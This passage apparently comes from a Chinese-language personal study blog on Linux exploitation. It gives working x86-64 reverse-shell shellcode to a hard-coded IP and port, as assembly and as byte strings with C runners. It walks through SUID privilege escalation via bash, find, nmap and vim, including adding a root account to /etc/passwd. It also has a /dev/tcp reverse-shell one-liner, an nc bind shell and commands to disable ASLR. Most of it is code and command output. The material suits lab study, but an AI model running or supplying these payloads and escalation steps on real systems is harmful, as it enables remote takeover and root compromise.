   	xor byte [rsp+39], 0x41
   	xor byte [rsp+47], 0x41
   	xor byte [rsp+63], 0x41
    xor byte [rsp+71], 0x41
    xor byte [rsp+70], 0x41
    xor byte [rsp+69], 0x41
    xor byte [rsp+68], 0x41

	xor rax, rax
	mov rdi, rsp
	push rax
	lea rbx, [rdi+64]
	push rbx
	lea rbx, [rdi+48]
	push rbx
	lea rbx, [rdi+40]
	push rbx
	lea rbx, [rdi+37]
	push rbx
	push rdi
	mov rsi, rsp
	xor rdx, rdx 
	
   	add al , 59
   	syscall

    

;/home/sa 	kura/too 	ls/netca 	t/src/ne 	tcatAAAA 
;-eAAAAAA 	/bin/shA 	192.168. 	188.141A 	5566AAAA"
    
/*
Usage:
akura@Kylin:~/文档/execveDir$ nasm -f elf64 rev_tcp.asm 
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 rev_tcp.o -o rev_tcp
sakura@Kylin:~/文档/execveDir$ ./rev_tcp
sakura@Kylin:~/文档/execveDir$ for i in $(objdump  -d rev_tcp.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
*/

/*
#include <stdio.h>
int main()
{
	unsigned char shellcode[] = \
"\x55\x48\x89\xe5\x48\x83\xec\x40\x48\xb8\x35\x35\x36\x36\x41\x41\x41\x41\x50\x48\xb8\x31\x38\x38\x2e\x31\x34\x31\x41\x50\x48\xb8\x31\x39\x32\x2e\x31\x36\x38\x2e\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x41\x50\x48\xb8\x74\x63\x61\x74\x41\x2d\x65\x41\x50\x48\xb8\x74\x2f\x73\x72\x63\x2f\x6e\x65\x50\x48\xb8\x6c\x73\x2f\x6e\x65\x74\x63\x61\x50\x48\xb8\x6b\x75\x72\x61\x2f\x74\x6f\x6f\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x61\x50\x80\x74\x24\x24\x41\x80\x74\x24\x27\x41\x80\x74\x24\x2f\x41\x80\x74\x24\x3f\x41\x80\x74\x24\x47\x41\x80\x74\x24\x46\x41\x80\x74\x24\x45\x41\x80\x74\x24\x44\x41\x48\x31\xc0\x48\x89\xe7\x50\x48\x8d\x5f\x40\x53\x48\x8d\x5f\x30\x53\x48\x8d\x5f\x28\x53\x48\x8d\x5f\x25\x53\x57\x48\x89\xe6\x48\x31\xd2\x04\x3b\x0f\x05";
    int (*ret)() = (int(*)())shellcode;
    ret();
}
*/
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc rev_tcp.c -o rev_tcp -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ ./rev_tcp
*/

5.4 用系统调用建立连接来反弹shell

参考: osx x64 reverse tcp shellcode (131 bytes)

C语言中结构体占用内存问题

Linux下的C语言Socket函数建立TCP连接

linux c语言用socket实现简单的服务器客户端交互

2022-08-29-Linux C 中connect函数用法及注意事项

Linux环境下用C语言实现socket 通信—简单代码

Linux C/C++ TCP Socket通信实例

Linux C/C++ UDP Socket通信实例

#include<unistd.h>
#include<sys/socket.h>   //构造socket所需的库
#include<netinet/in.h>  //定义sockaddr结构
int main()
{
    char *shell[2];       //用于execv调用
    int soc,remote;    //文件描述符句柄
    struct sockaddr_in serv_addr; //保存IP/端口值的结构
    soc=socket(2, 1, 0);
	
    //192.168.188.141-->0x8dbca8c0
    serv_addr.sin_addr.s_addr=0x8dbca8c0;  //将socket的地址设置为所有本地地址
    serv_addr.sin_port=0xbe15;  //设置socket的端口5566
    serv_addr.sin_family=2;   //设置协议族:IPv4

    remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);

    dup2(soc,0);   //将stdin连接client
    dup2(soc,1);   //将stdout连接client
    dup2(soc,2);   //将strderr连接到client
    shell[0]="/bin/sh";   //execve的第一个参数
    shell[1]=0;           //数组的第二个元素为NULL,表示数组结束
    execve(shell[0],shell,NULL);   //建立一个shell
}

这里我不知道 struct sockaddr_in serv_addr; 结构体在栈上是如何存储的,所以我们来看看它的汇编代码:

Dump of assembler code for function main:
   0x00000000000011c9 <+0>:	endbr64 
   0x00000000000011cd <+4>:	push   rbp
   0x00000000000011ce <+5>:	mov    rbp,rsp
   0x00000000000011d1 <+8>:	sub    rsp,0x40
   0x00000000000011d5 <+12>:	mov    rax,QWORD PTR fs:0x28
   0x00000000000011de <+21>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000000011e2 <+25>:	xor    eax,eax
   0x00000000000011e4 <+27>:	mov    DWORD PTR [rbp-0x1c],0x8dbca8c0
   0x00000000000011eb <+34>:	mov    WORD PTR [rbp-0x1e],0xbe15
   0x00000000000011f1 <+40>:	mov    WORD PTR [rbp-0x20],0x2
   0x00000000000011f7 <+46>:	mov    edx,0x0
   0x00000000000011fc <+51>:	mov    esi,0x1
   0x0000000000001201 <+56>:	mov    edi,0x2
   0x0000000000001206 <+61>:	call   0x10d0 <socket@plt>
   0x000000000000120b <+66>:	mov    DWORD PTR [rbp-0x38],eax
   0x000000000000120e <+69>:	lea    rcx,[rbp-0x20]
   0x0000000000001212 <+73>:	mov    eax,DWORD PTR [rbp-0x38]
   0x0000000000001215 <+76>:	mov    edx,0x10
   0x000000000000121a <+81>:	mov    rsi,rcx
   0x000000000000121d <+84>:	mov    edi,eax
   0x000000000000121f <+86>:	call   0x10c0 <connect@plt>
   0x0000000000001224 <+91>:	mov    DWORD PTR [rbp-0x34],eax
   0x0000000000001227 <+94>:	mov    eax,DWORD PTR [rbp-0x38]
   0x000000000000122a <+97>:	mov    esi,0x0
   0x000000000000122f <+102>:	mov    edi,eax
   0x0000000000001231 <+104>:	call   0x10a0 <dup2@plt>
   0x0000000000001236 <+109>:	mov    eax,DWORD PTR [rbp-0x38]
   0x0000000000001239 <+112>:	mov    esi,0x1
   0x000000000000123e <+117>:	mov    edi,eax
   0x0000000000001240 <+119>:	call   0x10a0 <dup2@plt>
   0x0000000000001245 <+124>:	mov    eax,DWORD PTR [rbp-0x38]
   0x0000000000001248 <+127>:	mov    esi,0x2
   0x000000000000124d <+132>:	mov    edi,eax
   0x000000000000124f <+134>:	call   0x10a0 <dup2@plt>
   0x0000000000001254 <+139>:	lea    rax,[rip+0xda9]        # 0x2004
   0x000000000000125b <+146>:	mov    QWORD PTR [rbp-0x30],rax
   0x000000000000125f <+150>:	mov    QWORD PTR [rbp-0x28],0x0
   0x0000000000001267 <+158>:	mov    rax,QWORD PTR [rbp-0x30]
   0x000000000000126b <+162>:	lea    rcx,[rbp-0x30]
   0x000000000000126f <+166>:	mov    edx,0x0
   0x0000000000001274 <+171>:	mov    rsi,rcx
   0x0000000000001277 <+174>:	mov    rdi,rax
   0x000000000000127a <+177>:	call   0x10b0 <execve@plt>
   0x000000000000127f <+182>:	mov    eax,0x0
   0x0000000000001284 <+187>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000001288 <+191>:	xor    rdx,QWORD PTR fs:0x28
   0x0000000000001291 <+200>:	je     0x1298 <main+207>
   0x0000000000001293 <+202>:	call   0x1090 <__stack_chk_fail@plt>
   0x0000000000001298 <+207>:	leave  
   0x0000000000001299 <+208>:	ret    
End of assembler dump.
global _start
section .text
_start:
    ;Socket
    xor rdx, rdx                ; zero out rdx
    mov rsi, rdx                ; AF_NET = 1
    inc rsi                     ; rsi = AF_NET
    mov rdi, rsi                ; SOCK_STREAM = 2
    inc rdi                     ; rdi = SOCK_STREAM
    add ax, 0x29
    syscall                   ; call socket(SOCK_STREAM, AF_NET, 0);
	
    mov r12, rax
    sub rsp,0x10
    mov dword [rsp+0x4],0x8dbca8c0		; ip = 192.168.188.141
    mov word [rsp+0x2],0xbe15			; post = 5566
    mov word [rsp],0x2

    ; Connect = 0x2a
    mov rdi, rax                ; move the saved socket fd into rdi
    mov rsi, rsp                ; move the saved sock_addr_in into rsi
    add dx, 0x10                ; add 0x10 to rdx
    xor rax, rax    
    add ax, 0x2a
    syscall                     ; call connect(rdi, rsi, rdx)

    xor rsi, rsi                ; zero out rsi

    dup:
    xor rax, rax
    add ax, 0x21                ; move the syscall for dup2 into rax
    mov rdi, r12                ; move the FD for the socket into rdi
    syscall                     ; call dup2(rdi, rsi)

    cmp rsi, 0x2                ; check to see if we are still under 2
    inc rsi                     ; inc rsi
    jbe dup                     ; jmp if less than 2

    ;sub r8, 0x1F                ; setup the exec syscall at 0x3b
    xor rax, rax    
    add ax, 0x3b                 ; move the syscall into rax

    ;exec
    xor rdx, rdx				 ; zero out rdx
    mov qword rbx, '//bin/sh' 	 ; '/bin/sh' in hex
    shr rbx,0x8                  ; shift right to create the null terminator
    push rbx

    mov rdi, rsp
    push rdx
    push rdi              ; move the command from the stack to rdi
    mov rsi, rsp                ; zero out rsi
    syscall                     ; call exec(rdi, rsi, 0)

运行以下命令编译并运行程序:

nasm -f elf64 rev_tcp.asm 
ld -m elf_x86_64 rev_tcp.o -o rev_tcp
./rev_tcp

接下来提取机器码,并将其插入 c 程序中执行:

for i in $(objdump  -d rev_tcp.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
#include <stdio.h>
int main()
{
	unsigned char shellcode[] = \
"\x48\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x66\x83\xc0\x29\x0f\x05\x49\x89\xc4\x48\x83\xec\x10\xc7\x44\x24\x04\xc0\xa8\xbc\x8d\x66\xc7\x44\x24\x02\x15\xbe\x66\xc7\x04\x24\x02\x00\x48\x89\xc7\x48\x89\xe6\x66\x83\xc2\x10\x48\x31\xc0\x66\x83\xc0\x2a\x0f\x05\x48\x31\xf6\x48\x31\xc0\x66\x83\xc0\x21\x4c\x89\xe7\x0f\x05\x48\x83\xfe\x02\x48\xff\xc6\x76\xeb\x48\x31\xc0\x66\x83\xc0\x3b\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
    int (*ret)() = (int(*)())shellcode;
    ret();
}

编译:

gcc rev_tcp.c -o rev_tcp -z execstack -z norelro -no-pie -g
./rev_tcp

6. 提权

参考:

Linux chown命令:修改文件和目录的所有者和所属组

出现 “ /usr/bin/ld: cannot open output file a.out: Permission denied ” 的解决办法

解决链接器错误 - 权限被拒绝

Linux 提权小知识

6.1 尝试

前面不是说了一种提权思路吗?

提权思路:在系统文件中找到一个具有777权限的文件,在里面写入我们的提权代码执行,或者是把我们的可执行文件,提升权限执行。

我在实现的时候,却发现,只有777权限还不行,提示权限不够。

image-20220821180910343

按照这篇文章《 出现 “ /usr/bin/ld: cannot open output file a.out: Permission denied ” 的解决办法 》所说这是因为,user 用户无权更改所有者为 root 用户文件。所以我们还需要更改文件的所有者。 Linux chown命令:修改文件和目录的所有者和所属组

但是更改文件所有者,还是需要 root 权限。更改后,,,还是缺少权限。

结果我按照那篇文章的说法,把整个目录的所有者都改成了 sakura,然后就能成功编译了。但是还是无法执行,因为目录中的所有文件所有者都变成了 sakura,所以同时文件的所有者也变成了 sakura。

最后,我看到了这篇文章《 解决链接器错误 - 权限被拒绝 》,说是要解决此问题,请确保程序编译所在的目录具有所需的写入权限。

image-20220821192140988

strace 跟踪还是缺少权限。

image-20220821201609541

6.2 suid 提权

参考: linux——SUID提权

谈一谈Linux与suid提权

说到这个话题,我们不得不先==介绍一下suid==。

通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。

ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入 CAPABILITIES 前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:

root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

  • Real UID 执行该进程的用户实际的UID
  • Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
  • Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

SUID提权的思路:运行root用户所拥有的SUID的文件,当其他用户运行该文件的时候就得获得root用户的身份。

以下命令可以发现linux系统上所有SUID的可执行文件

//以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/del/null
find / -user root -perm -4000-exec ls -ldb {} \;

6.2.1 bash

sakura@Kylin:~$ sudo chmod u+s /bin/bash
sakura@Kylin:~$ ll /bin/bash
-rwsr-xr-x 1 root root 1183448 6月   4  2021 /bin/bash*
sakura@Kylin:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1000(sakura) gid=1000(sakura) euid=0(root) =1000(sakura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),129(sambashare)
bash-5.0# ./addRootUser 
bash-5.0# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
。。。。。。
toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh
bash-5.0# 

成功提权,可以看到,最后已经添加了 具有root权限的 toor 用户。

6.2.2 nmap

nmap历史版本

简谈SUID提权 —>nmap

Linux下安装及简单使用nmap

判断nmap版本,nmap -v,如果版本在2.02至5.21之间,则可以提权

# 下载 nmap 5.21版本
wget https://nmap.org/dist-old/nmap-5.21.tgz

# 解压
tar -xvf nmap-5.21.tgz

# 进入解压后的文件夹,配置环境
./configure

# 执行 make 安装
make

但是当我 ./configure 的时候,报错了 image-20220901231602540

查看 config.log image-20220901231646565

发现缺少 Scrt1.o,Google后 解决方案

sudo apt-get install libc6-dev

执行后,make 时还是有错误 image-20220902210520954

下面我就直接 copy 简谈SUID提权 —>nmap

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh
sh-3.2# whoami
root

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

image-20210512095047083

6.2.3 find

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

sakura@Kylin:~$ sudo chmod u+s /bin/find
sakura@Kylin:~$ ll /bin/find
-rwsr-xr-x 1 root root 320160 4月  15  2020 /bin/find*
sakura@Kylin:~/文档$ touch anyfile
sakura@Kylin:~/文档$ find anyfile -exec whoami \;
root
sakura@Kylin:~/文档$ 
#进入shell
sakura@Kylin:~/文档$ find anyfile -exec "/bin/bash" "-p" \;
sh-5.0# whoami
root

linux一般都安装了nc (存在-e 选项) 我们也可以利用nc 广播或反弹shell。 [TIP]NC不使用-e选项反弹shell

广播shell:

find anyfile -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

6.2.4 vim

linux利用* vim提权

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

saksakura@Kylin:~$ sudo chmod u+s /bin/vim.tiny
sakura@Kylin:~$ vim.tiny /etc/passwd
sakura@Kylin:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
、、、、
hello
sakura@Kylin:~$ 

7. 关闭ASLR

参考:

Linux下关闭ASLR(地址空间随机化)的方法

如何在 Ubuntu 9.10 中关闭 ASLR

配置选项

  • 0 = 关闭
  • 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
  • 2 = 全随机。除了1中所述,还有heap。

方法一: 手动修改randomize_va_space文件

# echo 0 > /proc/sys/kernel/randomize_va_space

注意,这里是先进root权限,后执行。不要问为什么sudo echo 0 > /proc/sys/kernel/randomize_va_space为什么会报错

如何在 Ubuntu 9.10 中关闭 ASLR

在您的命令中,I/O 重定向>由当前 shell 处理。解释器将命令视为 3 个部分:

  1. sudo echo 0
  2. >
  3. /proc/sys/kernel/randomize_va_space

使用echo超级用户权限执行,而当前 shell(具有普通用户权限)尝试写入/proc/sys/kernel/randomize_va_space,因此触发Permission denied错误。

有几种方法可以克服这一点。第一种方法是使用超级用户权限运行 shell 并使用-c开关将命令传递给 shell:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

(您可以sh用于 POSIX shell 和bashBash)

另一种方法是使用tee命令。该tee命令将内容从标准输入复制到标准输出(通常是指“屏幕”)以及列出的文件。因此,以下命令将字符打印A到标准输出以及文件output1.txtoutput2.txt.

echo A | tee output1.txt output2.txt

在您的问题中,写入/proc/sys/kernel/randomize_va_space需要超级用户权限,而echo 0不需要root。所以,解决方案是:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space >/dev/null

最终重定向以/dev/null防止0打印到屏幕。

image-20220903123507330

方法二: 使用sysctl控制ASLR

$ sysctl -w kernel.randomize_va_space=0

这是一种临时改变随机策略的方法,重启之后将恢复默认。如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。

方法三: 使用setarch控制单个程序的随机化 如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。

setarch `uname -m` -R ./your_program

-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)

方法四: 在GDB场景下,使用set disable-randomization off 在调试特定程序时,可以通过 set disable-randomization 命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。

当然,这里开启,关闭和查看的方法看起来就比较正规了。

关闭ASLR:

set disable-randomization on

开启ASLR:

set disable-randomization off

查看ASLR状态:

show disable-randomization